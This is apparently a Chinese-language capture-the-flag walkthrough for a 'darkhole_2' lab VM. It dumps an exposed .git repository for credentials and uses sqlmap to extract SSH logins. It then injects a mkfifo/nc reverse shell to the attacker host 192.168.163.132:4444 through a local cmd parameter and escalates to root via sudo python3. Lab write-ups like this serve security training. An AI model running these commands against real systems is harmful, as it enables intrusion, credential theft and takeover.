ip 扫描发现主机 192.168.163.134

扫描端口

目录扫描,发现 .git 目录,使用 GitHack 下载目录
1
2
3
4
5
# 下载GitHack
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack
# 执行
python2 GitHack.py http://192.168.163.134/.git/
进入到 .git 目录查看日志
1
git log
发现有三个版本,第二版本在login.php添加了默认凭证

回退版本
1
2
3
git reset --hard HEAD^
# or
git reset --hard a4d900a8d85e8938d3601f3cef113ee293028e10
查看 login.php 发现用户名:lush@admin.com 密码:321

使用用户名密码登录成功,登陆后地址: http://192.168.163.134/dashboard.php?id=1
查看 dashboard.php , 其中 \155为 8 进制,\x6f为 16 进制

解码 query,测试 mobile 参数未发现注入
1
update users set username='{$fname}',email='{$email}',address='{$address}',contact_number='{$mobile}' where id=1
测试 id参数是否存在注入
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" --dbs --batch
获取数据库

获取表
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 --tables

获取列
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 --columns

获取 ssh 表中数据
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 -T ssh --dump

用户名:jehad 密码:fool
ssh 登录成功,查看 home 目录

发现 flag 文件

获取到数据库用户名密码

sudo -l 提权失败

1
cat /etc/crontab
发现 losy 定时任务:在本地开放 9999 端口作为站点

查看 /opt/web 目录下文件,可知需要构造 get 请求,参数为 cmd

测试参数

尝试反弹 shell
使用 nc -e 或 nc -c 都会报错
1
2
3
4
5
6
7
8
# mkfifo /tmp/f
curl http://127.0.0.1:9999?cmd=mkfifo%20%2Ftmp%2Ff
# echo "cat /tmp/f|/bin/bash -i 2>&1|nc -nv 192.168.163.132 4444 >/tmp/f" >/tmp/tt
curl http://127.0.0.1:9999?cmd=echo%20%22cat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20-nv%20192.168.163.132%204444%20%3E%2Ftmp%2Ff%22%20%3E%2Ftmp%2Ftt
# chmod +x /tmp/tt
curl http://127.0.0.1:9999?cmd=chmod%20%2Bx%20%2Ftmp%2Ftt
# /bin/bash /tmp/tt
curl http://127.0.0.1:9999?cmd=%2Fbin%2Fbash%20%2Ftmp%2Ftt
反弹成功切换为用户 losy

查看 .bash_history 获取到 losy 用户密码:gang

SSH 登录,sudo -l 查看是否能提权

使用 python3 提权
1
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
root 提权成功

获取到最终 flag 文件
